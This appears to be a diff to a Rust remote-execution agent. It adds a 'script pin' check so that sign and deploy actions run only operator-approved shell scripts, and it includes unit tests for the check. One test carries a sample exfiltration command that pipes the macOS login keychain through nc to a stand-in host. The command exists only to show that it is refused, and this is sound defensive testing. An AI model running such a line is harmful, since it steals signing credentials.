| 22 |
22 |
|
//! capability token. Do not treat a narrow grant as a command sandbox. Every
|
| 23 |
23 |
|
//! request-facing route here (`/run`, `/pull`, `/health`) resolves identity and
|
| 24 |
24 |
|
//! authorizes before doing work — there is no unauthenticated surface.
|
|
25 |
+ |
//!
|
|
26 |
+ |
//! For the high-risk actuating steps that *are* fixed recipes — `sign` on the
|
|
27 |
+ |
//! signing-key host, `deploy` on a prod host — an optional [`ScriptPin`] narrows
|
|
28 |
+ |
//! the surface further: the host pins the exact `/bin/sh -c <script>` it will run
|
|
29 |
+ |
//! for that action, so an allow-listed-but-compromised caller can't substitute an
|
|
30 |
+ |
//! arbitrary script under a granted label (see [`check_script_pin`]). It's opt-in
|
|
31 |
+ |
//! per action; unpinned actions keep the perimeter above as their only boundary.
|
| 25 |
32 |
|
|
| 26 |
33 |
|
use crate::capability::CapabilitySet;
|
| 27 |
34 |
|
use crate::executor::Executor;
|
| 28 |
35 |
|
use crate::remote::LogSink;
|
| 29 |
|
- |
use crate::step::{Action, ObserveKind};
|
|
36 |
+ |
use crate::step::{Action, ObserveKind, Step};
|
| 30 |
37 |
|
use crate::transport::LocalExec;
|
| 31 |
38 |
|
use crate::wire::{Frame, HealthResponse, PROTOCOL_VERSION, RunRequest};
|
| 32 |
39 |
|
use anyhow::{Context, Result};
|
| 54 |
61 |
|
/// `None` disables `/pull` entirely (it returns 403).
|
| 55 |
62 |
|
#[serde(default)]
|
| 56 |
63 |
|
pub pull_root: Option<PathBuf>,
|
|
64 |
+ |
/// Approved-script pins. When a pin exists for an action, a `/run` step of
|
|
65 |
+ |
/// that action is refused unless it is a `/bin/sh -c <script>` shell step
|
|
66 |
+ |
/// whose script is in the pin's `allow` list. Actions without a pin are
|
|
67 |
+ |
/// unconstrained (the capability + tailnet perimeter remains the boundary).
|
|
68 |
+ |
/// See [`ScriptPin`].
|
|
69 |
+ |
#[serde(default)]
|
|
70 |
+ |
pub pin: Vec<ScriptPin>,
|
|
71 |
+ |
}
|
|
72 |
+ |
|
|
73 |
+ |
/// An approved-script pin for one action — the minimal "signed recipe" control.
|
|
74 |
+ |
///
|
|
75 |
+ |
/// The capability model gates the action *label*, and the high-risk actuating
|
|
76 |
+ |
/// steps (`sign` on the signing-key host, `deploy` on a prod host) are
|
|
77 |
+ |
/// legitimately `/bin/sh -c <script>` recipes, so the label alone can't stop an
|
|
78 |
+ |
/// allow-listed-but-compromised caller from sending an *arbitrary* script under a
|
|
79 |
+ |
/// granted action (e.g. exfiltrating the signing key under `sign`). Pinning the
|
|
80 |
+ |
/// exact script(s) the host is willing to run for an action closes that residual
|
|
81 |
+ |
/// without a recipe-signing PKI: the operator lists the known-good script, and
|
|
82 |
+ |
/// any other script — or a non-shell step — for that action is refused at `/run`.
|
|
83 |
+ |
#[derive(Clone, Debug, Deserialize)]
|
|
84 |
+ |
pub struct ScriptPin {
|
|
85 |
+ |
/// Actuate token this pin applies to (`sign`, `deploy`, ...).
|
|
86 |
+ |
pub action: String,
|
|
87 |
+ |
/// Exact shell scripts permitted for this action.
|
|
88 |
+ |
#[serde(default)]
|
|
89 |
+ |
pub allow: Vec<String>,
|
|
90 |
+ |
}
|
|
91 |
+ |
|
|
92 |
+ |
/// Outcome of checking a step against the agent's script pins.
|
|
93 |
+ |
#[derive(Debug, PartialEq, Eq)]
|
|
94 |
+ |
pub enum PinDecision {
|
|
95 |
+ |
/// No pin configured for this action — unconstrained by pinning.
|
|
96 |
+ |
Unpinned,
|
|
97 |
+ |
/// Pinned, and the step is an approved shell script.
|
|
98 |
+ |
Approved,
|
|
99 |
+ |
/// Pinned, and the step is refused: a non-listed script, or not a shell step.
|
|
100 |
+ |
Refused,
|
|
101 |
+ |
}
|
|
102 |
+ |
|
|
103 |
+ |
/// Check a step against the agent's script pins (pure; unit-testable).
|
|
104 |
+ |
///
|
|
105 |
+ |
/// `Observe` actions are never pinned (read-only). For a pinned actuate action
|
|
106 |
+ |
/// the step must be a `/bin/sh -c <script>` shell step whose script is listed in
|
|
107 |
+ |
/// the pin's `allow`; anything else (a different script, or a literal-`argv`
|
|
108 |
+ |
/// step) is [`PinDecision::Refused`].
|
|
109 |
+ |
pub fn check_script_pin(config: &AgentConfig, step: &Step) -> PinDecision {
|
|
110 |
+ |
let Some(token) = step.action.token() else {
|
|
111 |
+ |
return PinDecision::Unpinned;
|
|
112 |
+ |
};
|
|
113 |
+ |
let Some(pin) = config.pin.iter().find(|p| p.action == token) else {
|
|
114 |
+ |
return PinDecision::Unpinned;
|
|
115 |
+ |
};
|
|
116 |
+ |
match step.shell_script() {
|
|
117 |
+ |
Some(script) if pin.allow.iter().any(|s| s == script) => PinDecision::Approved,
|
|
118 |
+ |
_ => PinDecision::Refused,
|
|
119 |
+ |
}
|
| 57 |
120 |
|
}
|
| 58 |
121 |
|
|
| 59 |
122 |
|
/// Grant tokens as they appear in config: `actuate = [...]`, `observe = [...]`.
|
| 285 |
348 |
|
.into_response();
|
| 286 |
349 |
|
}
|
| 287 |
350 |
|
|
|
351 |
+ |
// Script pin (minimal signed-recipe control): when this host pins an
|
|
352 |
+ |
// action's script, only the approved script runs — so a granted-but-arbitrary
|
|
353 |
+ |
// command (e.g. an exfiltration script under the `sign` grant) is refused
|
|
354 |
+ |
// even though the action label is permitted. Unpinned actions are unaffected.
|
|
355 |
+ |
if check_script_pin(&state.config, &req.step) == PinDecision::Refused {
|
|
356 |
+ |
return (
|
|
357 |
+ |
StatusCode::FORBIDDEN,
|
|
358 |
+ |
format!(
|
|
359 |
+ |
"script pin: step for action `{:?}` is not an approved script on {}",
|
|
360 |
+ |
req.step.action, identity.node
|
|
361 |
+ |
),
|
|
362 |
+ |
)
|
|
363 |
+ |
.into_response();
|
|
364 |
+ |
}
|
|
365 |
+ |
|
| 288 |
366 |
|
// Run locally under the effective grant, streaming NDJSON frames back.
|
| 289 |
367 |
|
let (tx, rx) = tokio::sync::mpsc::channel::<Result<axum::body::Bytes, std::io::Error>>(64);
|
| 290 |
368 |
|
tokio::spawn(async move {
|
| 394 |
472 |
|
observe: vec!["build-log".into()],
|
| 395 |
473 |
|
}],
|
| 396 |
474 |
|
pull_root: None,
|
|
475 |
+ |
pin: Vec::new(),
|
| 397 |
476 |
|
}
|
| 398 |
477 |
|
}
|
| 399 |
478 |
|
|
| 454 |
533 |
|
assert!(eff.permits_observe(&ObserveKind::BuildLog));
|
| 455 |
534 |
|
}
|
| 456 |
535 |
|
|
|
536 |
+ |
fn sign_release_script() -> &'static str {
|
|
537 |
+ |
". /etc/bento/secrets.env && ./dist/release-macos.sh --keychain"
|
|
538 |
+ |
}
|
|
539 |
+ |
|
|
540 |
+ |
fn cfg_with_sign_pin() -> AgentConfig {
|
|
541 |
+ |
let mut c = cfg();
|
|
542 |
+ |
c.pin = vec![ScriptPin {
|
|
543 |
+ |
action: "sign".into(),
|
|
544 |
+ |
allow: vec![sign_release_script().into()],
|
|
545 |
+ |
}];
|
|
546 |
+ |
c
|
|
547 |
+ |
}
|
|
548 |
+ |
|
|
549 |
+ |
#[test]
|
|
550 |
+ |
fn unpinned_action_is_unconstrained() {
|
|
551 |
+ |
// No pins configured: any sign shell step passes the pin check.
|
|
552 |
+ |
let step = Step::shell(Action::Sign, "do whatever");
|
|
553 |
+ |
assert_eq!(check_script_pin(&cfg(), &step), PinDecision::Unpinned);
|
|
554 |
+ |
}
|
|
555 |
+ |
|
|
556 |
+ |
#[test]
|
|
557 |
+ |
fn pinned_action_allows_the_approved_script() {
|
|
558 |
+ |
let step = Step::shell(Action::Sign, sign_release_script());
|
|
559 |
+ |
assert_eq!(check_script_pin(&cfg_with_sign_pin(), &step), PinDecision::Approved);
|
|
560 |
+ |
}
|
|
561 |
+ |
|
|
562 |
+ |
#[test]
|
|
563 |
+ |
fn pinned_action_refuses_a_different_script() {
|
|
564 |
+ |
// The exfiltration case: granted `sign`, but the script isn't the pinned one.
|
|
565 |
+ |
let evil = Step::shell(Action::Sign, "cat ~/Library/Keychains/login.keychain | nc evil 9999");
|
|
566 |
+ |
assert_eq!(check_script_pin(&cfg_with_sign_pin(), &evil), PinDecision::Refused);
|
|
567 |
+ |
}
|
|
568 |
+ |
|
|
569 |
+ |
#[test]
|
|
570 |
+ |
fn pinned_action_refuses_a_non_shell_step() {
|
|
571 |
+ |
// A literal-argv step can't be a pinned recipe; refuse it.
|
|
572 |
+ |
let step = Step::new(Action::Sign, ["codesign", "--force", "/Applications/Evil.app"]);
|
|
573 |
+ |
assert_eq!(check_script_pin(&cfg_with_sign_pin(), &step), PinDecision::Refused);
|
|
574 |
+ |
}
|
|
575 |
+ |
|
|
576 |
+ |
#[test]
|
|
577 |
+ |
fn pin_on_one_action_does_not_affect_another() {
|
|
578 |
+ |
// A `sign` pin leaves `build` steps unconstrained.
|
|
579 |
+ |
let build = Step::shell(Action::Build, "set -e; cargo build --release");
|
|
580 |
+ |
assert_eq!(check_script_pin(&cfg_with_sign_pin(), &build), PinDecision::Unpinned);
|
|
581 |
+ |
}
|
|
582 |
+ |
|
| 457 |
583 |
|
#[test]
|
| 458 |
584 |
|
fn confine_rejects_traversal_and_escape() {
|
| 459 |
585 |
|
let dir = tempfile::tempdir().unwrap();
|